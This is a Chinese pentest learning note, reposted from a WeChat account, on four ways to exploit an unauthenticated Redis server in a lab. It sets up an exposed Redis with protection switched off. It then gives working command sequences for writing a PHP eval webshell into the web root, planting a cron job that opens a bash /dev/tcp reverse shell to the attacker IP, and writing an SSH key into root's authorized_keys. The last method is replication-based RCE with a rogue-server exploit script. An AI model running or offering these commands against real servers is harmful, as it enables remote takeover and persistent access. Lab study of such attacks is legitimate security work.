免责声明:
本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!
环境搭建(centos7):
靶机:172.16.1.242
kali:172.16.1.233
1、下载redis :
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
2、安装gcc:
yum -y install gcc
3、解压并根目录编译:
make MALLOC=libc
4、根目录安装:
make install
5、修改配置文件:
注销掉允许远程连接:#bind 127.0.0.1
关闭保护模式:protected-mode no
6、关闭防火墙:systemctl stop firewalld
7、启动redis:redis-server redis.conf
一、写webshell(必须知道绝对路径):
1、连接redis测试:
添加一个键webshell,值为一句话木马
set webshell "eval($_POST['cmd']; " phpinfo();
查看是否写入成功:
get webshell
设置工作目录
config set dir /var/www/html/
设置文件名
config set dbfilename shell.php
保存
save
save保存
二、写计划任务反弹shell:
1、连接redis测试:
和上面的步骤一样:
每分钟执行反弹shell命令
set cron "nn*/1 * * * * bash -i >& /dev/tcp/172.16.1.233/2233 0>&1n"
三、写入ssh公钥:
1、生成公钥:ssh-keygen -t rsa
一路回车,默认情况下,生成在用户家目录下的 .ssh 目录下:
将公钥写入1.txt文件,前后用n换行,避免和Redis其他缓存数据混合
(echo -e "nn";cat id_rsa.pub;echo -e "nn") > 1.txt
将txt写入redis:
将1.txt中的内容作为ssh(键)的值写入redis
cat 1.txt | redis-cli -h 172.16.1.242 -x set ssh
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
使用私钥连接:
ssh root@172.16.1.242 -i ~/.ssh/id_rsa
四、redis主从复制RCE:
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的。
exp:
https://github.com/n0b0dyCN/redis-rogue-server.git
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
进入exp目录编译
cd redis-rogue-server/RedisModulesSDK/exp
make
编译完成之后执行Python3 exp:
python redis-rogue-server.py --rhost 172.16.1.242 --lhost 172.16.1.233
输入i会建立一个交互shell,输入r会反弹shell
原文始发于微信公众号(fly的渗透学习笔记):redis未授权的四种利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论